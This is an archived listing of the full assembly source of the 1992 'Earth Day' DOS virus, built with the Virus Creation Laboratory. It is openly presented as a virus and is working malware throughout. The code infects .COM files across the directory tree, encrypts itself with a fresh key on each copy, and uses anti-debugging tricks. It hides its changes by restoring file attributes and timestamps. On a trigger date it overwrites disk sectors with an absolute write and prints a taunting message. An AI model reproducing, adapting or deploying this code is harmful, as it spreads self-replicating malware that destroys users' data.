home *** CD-ROM | disk | FTP | other *** search
/ Collection of Hack-Phreak Scene Programs / cleanhpvac.zip / cleanhpvac / SOURCE.ZIP / EARTHDAY.ASM < prev    next >
Assembly Source File  |  1992-07-05  |  12KB  |  422 lines

  1. ; EARTHDAY.ASM -- Earth Day Virus
  2. ; Created with Nowhere Man's Virus Creation Laboratory v1.00
  3. ; Written by Nowhere Man
  4.  
  5. virus_type    equ    0            ; Appending Virus
  6. is_encrypted    equ    1            ; We're encrypted
  7. tsr_virus    equ    0            ; We're not TSR
  8.  
  9. code        segment byte public
  10.         assume    cs:code,ds:code,es:code,ss:code
  11.         org    0100h
  12.  
  13. main        proc    near
  14.         db    0E9h,00h,00h        ; Near jump (for compatibility)
  15. start:        call    find_offset        ; Like a PUSH IP
  16. find_offset:    pop    bp            ; BP holds old IP
  17.         sub    bp,offset find_offset    ; Adjust for length of host
  18.  
  19.         call    encrypt_decrypt        ; Decrypt the virus
  20.  
  21. start_of_code    label    near
  22.  
  23.         lea    si,[bp + buffer]    ; SI points to original start
  24.         mov    di,0100h        ; Push 0100h on to stack for
  25.         push    di            ; return to main program
  26.         movsw                ; Copy the first two bytes
  27.         movsb                ; Copy the third byte
  28.  
  29.         mov    di,bp            ; DI points to start of virus
  30.  
  31.         mov    bp,sp            ; BP points to stack
  32.         sub    sp,128            ; Allocate 128 bytes on stack
  33.  
  34.         mov    ah,02Fh            ; DOS get DTA function
  35.         int    021h
  36.         push    bx            ; Save old DTA address on stack
  37.  
  38.         mov    ah,01Ah            ; DOS set DTA function
  39.         lea    dx,[bp - 128]        ; DX points to buffer on stack
  40.         int    021h
  41.  
  42. stop_tracing:    mov    cx,09EBh
  43.         mov    ax,0FE05h        ; Acutal move, plus a HaLT
  44.         jmp    $-2
  45.         add    ah,03Bh            ; AH now equals 025h
  46.         jmp    $-10            ; Execute the HaLT
  47.         lea    bx,[di + null_vector]    ; BX points to new routine
  48.         push    cs            ; Transfer CS into ES
  49.         pop    es            ; using a PUSH/POP
  50.         int    021h
  51.         mov    al,1            ; Disable interrupt 1, too
  52.         int    021h
  53.         jmp    short skip_null        ; Hop over the loop
  54. null_vector:    jmp    $            ; An infinite loop
  55. skip_null:    mov    byte ptr [di + lock_keys + 1],130  ; Prefetch unchanged
  56. lock_keys:    mov    al,128            ; Change here screws DEBUG
  57.         out    021h,al            ; If tracing then lock keyboard
  58.  
  59.         call    get_month
  60.         cmp    ax,0004h        ; Did the function return 4?
  61.         jne    skip00            ; If not equal, skip effect
  62.         call    get_day
  63.         cmp    ax,0016h        ; Did the function return 22?
  64.         jne    skip00            ; If not equal, skip effect
  65.         call    get_year
  66.         cmp    ax,07C9h        ; Did the function return 1993?
  67.         jle    skip00            ; If less that or equal, skip effect
  68.         cmp    ax,07CCh        ; Did the function return 1996?
  69.         jge    skip00            ; If greater than or equal, skip effect
  70.         jmp    short strt00        ; Success -- skip jump
  71. skip00:        jmp    end00            ; Skip the routine
  72. strt00:        lea    si,[di + data00]    ; SI points to data
  73.         mov    ah,0Eh            ; BIOS display char. function
  74. display_loop:   lodsb                ; Load the next char. into AL
  75.         or    al,al            ; Is the character a null?
  76.         je    disp_strnend        ; If it is, exit
  77.         int    010h            ; BIOS video interrupt
  78.         jmp    short display_loop    ; Do the next character
  79. disp_strnend:
  80.  
  81.         mov    ax,0002h        ; First argument is 2
  82.         mov    cx,0100h        ; Second argument is 256
  83.         cli                ; Disable interrupts (no Ctrl-C)
  84.         cwd                ; Clear DX (start with sector 0)
  85.         int    026h            ; DOS absolute write interrupt
  86.         sti                ; Restore interrupts
  87.  
  88. end00:        xor    ah,ah            ; BIOS get time function
  89.         int    01Ah
  90.         xchg    dx,ax            ; AX holds clock ticks
  91.         mov    cx,0005h        ; We'll divide by 5
  92.         cwd                ; Sign-extend AX into DX:AX
  93.         div    cx            ; Divide AX by CX
  94.         or    dx,dx            ; Is there a remaindier?
  95.         jne    no_infection        ; If there is then don't spread
  96.         call    search_files        ; Find and infect a file
  97. no_infection:
  98.  
  99. com_end:    pop    dx            ; DX holds original DTA address
  100.         mov    ah,01Ah            ; DOS set DTA function
  101.         int    021h
  102.  
  103.         mov    sp,bp            ; Deallocate local buffer
  104.  
  105.         xor    ax,ax            ;
  106.         mov    bx,ax            ;
  107.         mov    cx,ax            ;
  108.         mov    dx,ax            ; Empty out the registers
  109.         mov    si,ax            ;
  110.         mov    di,ax            ;
  111.         mov    bp,ax            ;
  112.  
  113.         ret                ; Return to original program
  114. main        endp
  115.  
  116.  
  117.         db    009h,0C0h,0EEh,0D9h,0ECh
  118.  
  119. search_files    proc    near
  120.         push    bp            ; Save BP
  121.         mov    bp,sp            ; BP points to local buffer
  122.         sub    sp,64            ; Allocate 64 bytes on stack
  123.  
  124.         mov    ah,047h            ; DOS get current dir function
  125.         xor    dl,dl            ; DL holds drive # (current)
  126.         lea    si,[bp - 64]        ; SI points to 64-byte buffer
  127.         int    021h
  128.  
  129.         mov    ah,03Bh            ; DOS change directory function
  130.         lea    dx,[di + root]        ; DX points to root directory
  131.         int    021h
  132.  
  133.         call    traverse        ; Start the traversal
  134.  
  135.         mov    ah,03Bh            ; DOS change directory function
  136.         lea    dx,[bp - 64]        ; DX points to old directory
  137.         int    021h
  138.  
  139.         mov    sp,bp            ; Restore old stack pointer
  140.         pop    bp            ; Restore BP
  141.         ret                ; Return to caller
  142.  
  143. root        db    "\",0            ; Root directory
  144. search_files    endp
  145.  
  146. traverse    proc    near
  147.         push    bp            ; Save BP
  148.  
  149.         mov    ah,02Fh            ; DOS get DTA function
  150.         int    021h
  151.         push    bx            ; Save old DTA address
  152.  
  153.         mov    bp,sp            ; BP points to local buffer
  154.         sub    sp,128            ; Allocate 128 bytes on stack
  155.  
  156.         mov    ah,01Ah            ; DOS set DTA function
  157.         lea    dx,[bp - 128]        ; DX points to buffer
  158.         int    021h
  159.  
  160.         mov    ah,04Eh            ; DOS find first function
  161.         mov    cx,00010000b        ; CX holds search attributes
  162.         lea    dx,[di + all_files]    ; DX points to "*.*"
  163.         int    021h
  164.         jc    leave_traverse        ; Leave if no files present
  165.  
  166. check_dir:    cmp    byte ptr [bp - 107],16    ; Is the file a directory?
  167.         jne    another_dir        ; If not, try again
  168.         cmp    byte ptr [bp - 98],'.'    ; Did we get a "." or ".."?
  169.         je    another_dir        ;If so, keep going
  170.  
  171.         mov    ah,03Bh            ; DOS change directory function
  172.         lea    dx,[bp - 98]        ; DX points to new directory
  173.         int    021h
  174.  
  175.         call    traverse        ; Recursively call ourself
  176.  
  177.         pushf                ; Save the flags
  178.         mov    ah,03Bh            ; DOS change directory function
  179.         lea    dx,[di + up_dir]    ; DX points to parent directory
  180.         int    021h
  181.         popf                ; Restore the flags
  182.  
  183.         jnc    done_searching        ; If we infected then exit
  184.  
  185. another_dir:    mov    ah,04Fh            ; DOS find next function
  186.         int    021h
  187.         jnc    check_dir        ; If found check the file
  188.  
  189. leave_traverse:
  190.         lea    dx,[di + com_mask]    ; DX points to "*.COM"
  191.         call    find_files        ; Try to infect a file
  192. done_searching:    mov    sp,bp            ; Restore old stack frame
  193.         mov    ah,01Ah            ; DOS set DTA function
  194.         pop    dx            ; Retrieve old DTA address
  195.         int    021h
  196.  
  197.         pop    bp            ; Restore BP
  198.         ret                ; Return to caller
  199.  
  200. up_dir        db    "..",0            ; Parent directory name
  201. all_files    db    "*.*",0            ; Directories to search for
  202. com_mask    db    "*.COM",0        ; Mask for all .COM files
  203. traverse    endp
  204.  
  205.         db    0E0h,049h,06Ch,01Bh,06Ch
  206.  
  207.  
  208. find_files    proc    near
  209.         push    bp            ; Save BP
  210.  
  211.         mov    ah,02Fh            ; DOS get DTA function
  212.         int    021h
  213.         push    bx            ; Save old DTA address
  214.  
  215.         mov    bp,sp            ; BP points to local buffer
  216.         sub    sp,128            ; Allocate 128 bytes on stack
  217.  
  218.         push    dx            ; Save file mask
  219.         mov    ah,01Ah            ; DOS set DTA function
  220.         lea    dx,[bp - 128]        ; DX points to buffer
  221.         int    021h
  222.  
  223.         mov    ah,04Eh            ; DOS find first file function
  224.         mov    cx,00100111b        ; CX holds all file attributes
  225.         pop    dx            ; Restore file mask
  226. find_a_file:    int    021h
  227.         jc    done_finding        ; Exit if no files found
  228.         call    infect_file        ; Infect the file!
  229.         jnc    done_finding        ; Exit if no error
  230.         mov    ah,04Fh            ; DOS find next file function
  231.         jmp    short find_a_file    ; Try finding another file
  232.  
  233. done_finding:    mov    sp,bp            ; Restore old stack frame
  234.         mov    ah,01Ah            ; DOS set DTA function
  235.         pop    dx            ; Retrieve old DTA address
  236.         int    021h
  237.  
  238.         pop    bp            ; Restore BP
  239.         ret                ; Return to caller
  240. find_files    endp
  241.  
  242.         db    00Ah,073h,01Fh,038h,054h
  243.  
  244. infect_file    proc    near
  245.         mov    ah,02Fh            ; DOS get DTA address function
  246.         int    021h
  247.         mov    si,bx            ; SI points to the DTA
  248.  
  249.         mov    byte ptr [di + set_carry],0  ; Assume we'll fail
  250.  
  251.         cmp    word ptr [si + 01Ah],(65279 - (finish - start))
  252.         jbe    size_ok            ; If it's small enough continue
  253.         jmp    infection_done        ; Otherwise exit
  254.  
  255. size_ok:    mov    ax,03D00h        ; DOS open file function, r/o
  256.         lea    dx,[si + 01Eh]        ; DX points to file name
  257.         int    021h
  258.         xchg    bx,ax            ; BX holds file handle
  259.  
  260.         mov    ah,03Fh            ; DOS read from file function
  261.         mov    cx,3            ; CX holds bytes to read (3)
  262.         lea    dx,[di + buffer]    ; DX points to buffer
  263.         int    021h
  264.  
  265.         mov    ax,04202h        ; DOS file seek function, EOF
  266.         cwd                ; Zero DX _ Zero bytes from end
  267.         mov    cx,dx            ; Zero CX /
  268.         int    021h
  269.  
  270.         xchg    dx,ax            ; Faster than a PUSH AX
  271.         mov    ah,03Eh            ; DOS close file function
  272.         int    021h
  273.         xchg    dx,ax            ; Faster than a POP AX
  274.  
  275.         sub    ax,finish - start + 3    ; Adjust AX for a valid jump
  276.         cmp    word ptr [di + buffer + 1],ax  ; Is there a JMP yet?
  277.         je    infection_done        ; If equal then exit
  278.         mov    byte ptr [di + set_carry],1  ; Success -- the file is OK
  279.         add    ax,finish - start    ; Re-adjust to make the jump
  280.         mov    word ptr [di + new_jump + 1],ax  ; Construct jump
  281.  
  282.         mov    ax,04301h        ; DOS set file attrib. function
  283.         xor    cx,cx            ; Clear all attributes
  284.         lea    dx,[si + 01Eh]        ; DX points to victim's name
  285.         int    021h
  286.  
  287.         mov    ax,03D02h        ; DOS open file function, r/w
  288.         int    021h
  289.         xchg    bx,ax            ; BX holds file handle
  290.  
  291.         mov    ah,040h            ; DOS write to file function
  292.         mov    cx,3            ; CX holds bytes to write (3)
  293.         lea    dx,[di + new_jump]    ; DX points to the jump we made
  294.         int    021h
  295.  
  296.         mov    ax,04202h        ; DOS file seek function, EOF
  297.         cwd                ; Zero DX _ Zero bytes from end
  298.         mov    cx,dx            ; Zero CX /
  299.         int    021h
  300.  
  301.         push    si            ; Save SI through call
  302.         call    encrypt_code        ; Write an encrypted copy
  303.         pop    si            ; Restore SI
  304.  
  305.         mov    ax,05701h        ; DOS set file time function
  306.         mov    cx,[si + 016h]        ; CX holds old file time
  307.         mov    dx,[si + 018h]        ; DX holds old file date
  308.         int    021h
  309.  
  310.         mov    ah,03Eh            ; DOS close file function
  311.         int    021h
  312.  
  313.         mov    ax,04301h        ; DOS set file attrib. function
  314.         xor    ch,ch            ; Clear CH for file attribute
  315.         mov    cl,[si + 015h]        ; CX holds file's old attributes
  316.         lea    dx,[si + 01Eh]        ; DX points to victim's name
  317.         int    021h
  318.  
  319. infection_done:    cmp    byte ptr [di + set_carry],1  ; Set carry flag if failed
  320.         ret                ; Return to caller
  321.  
  322. set_carry    db    ?            ; Set-carry-on-exit flag
  323. buffer        db    090h,0CDh,020h        ; Buffer to hold old three bytes
  324. new_jump    db    0E9h,?,?        ; New jump to virus
  325. infect_file    endp
  326.  
  327.  
  328.         db    0D9h,095h,0B5h,0D7h,0D0h
  329.  
  330. get_day         proc    near
  331.         mov    ah,02Ah            ; DOS get date function
  332.         int    021h
  333.         mov    al,dl            ; Copy day into AL
  334.         cbw                ; Sign-extend AL into AX
  335.         ret                ; Return to caller
  336. get_day         endp
  337.  
  338.         db    0F6h,028h,099h,0E1h,06Dh
  339.  
  340. get_month       proc    near
  341.         mov    ah,02Ah            ; DOS get date function
  342.         int    021h
  343.         mov    al,dh            ; Copy month into AL
  344.         cbw                ; Sign-extend AL into AX
  345.         ret                ; Return to caller
  346. get_month       endp
  347.  
  348.         db    071h,021h,0B4h,033h,071h
  349.  
  350. get_year        proc    near
  351.         mov    ah,02Ah            ; DOS get date function
  352.         int    021h
  353.         xchg    cx,ax            ; Transfer the year into AX
  354.         ret                ; Return to caller
  355. get_year        endp
  356.  
  357. data00        db      "Happy Earth Day!!!",13,10,13,10
  358.         db      "In the spirit of Earth Day, this VIRUS has recycled your hard disk.",13,10,0
  359.  
  360. vcl_marker    db    "[VCL]",0        ; VCL creation marker
  361.  
  362.  
  363. note        db    "[Earth Day]",0
  364.         db    "Nowhere Man, [NuKE] '92",0
  365.  
  366. encrypt_code    proc    near
  367.         push    bp            ; Save BP
  368.         mov    bp,di            ; Use BP as pointer to code
  369.         lea    si,[bp + encrypt_decrypt]; SI points to cipher routine
  370.  
  371.         xor    ah,ah            ; BIOS get time function
  372.         int    01Ah
  373.         mov    word ptr [si + 9],dx    ; Low word of timer is new key
  374.  
  375.         xor    byte ptr [si + 1],8    ;
  376.         xor    byte ptr [si + 8],1    ; Change all SIs to DIs
  377.         xor    word ptr [si + 11],0101h; (and vice-versa)
  378.  
  379.         lea    di,[bp + finish]    ; Copy routine into heap
  380.         mov    cx,finish - encrypt_decrypt - 1  ; All but final RET
  381.         push    si            ; Save SI for later
  382.         push    cx            ; Save CX for later
  383.     rep    movsb                ; Copy the bytes
  384.  
  385.         lea    si,[bp + write_stuff]    ; SI points to write stuff
  386.         mov    cx,5            ; CX holds length of write
  387.     rep    movsb                ; Copy the bytes
  388.  
  389.         pop    cx            ; Restore CX
  390.         pop    si            ; Restore SI
  391.         inc    cx            ; Copy the RET also this time
  392.     rep    movsb                ; Copy the routine again
  393.  
  394.         mov    ah,040h            ; DOS write to file function
  395.         lea    dx,[bp + start]        ; DX points to virus
  396.  
  397.         lea    si,[bp + finish]    ; SI points to routine
  398.         call    si            ; Encrypt/write/decrypt
  399.  
  400.         mov    di,bp            ; DI points to virus again
  401.         pop    bp            ; Restore BP
  402.         ret                ; Return to caller
  403.  
  404. write_stuff:    mov    cx,finish - start    ; Length of code
  405.         int    021h
  406. encrypt_code    endp
  407.  
  408. end_of_code    label    near
  409.  
  410. encrypt_decrypt    proc    near
  411.         lea    si,[bp + start_of_code] ; SI points to code to decrypt
  412.         mov    cx,(end_of_code - start_of_code) / 2 ; CX holds length
  413. xor_loop:    db    081h,034h,00h,00h    ; XOR a word by the key
  414.         inc    si            ; Do the next word
  415.         inc    si            ;
  416.         loop    xor_loop        ; Loop until we're through
  417.         ret                ; Return to caller
  418. encrypt_decrypt    endp
  419. finish        label    near
  420.  
  421. code        ends
  422.         end    main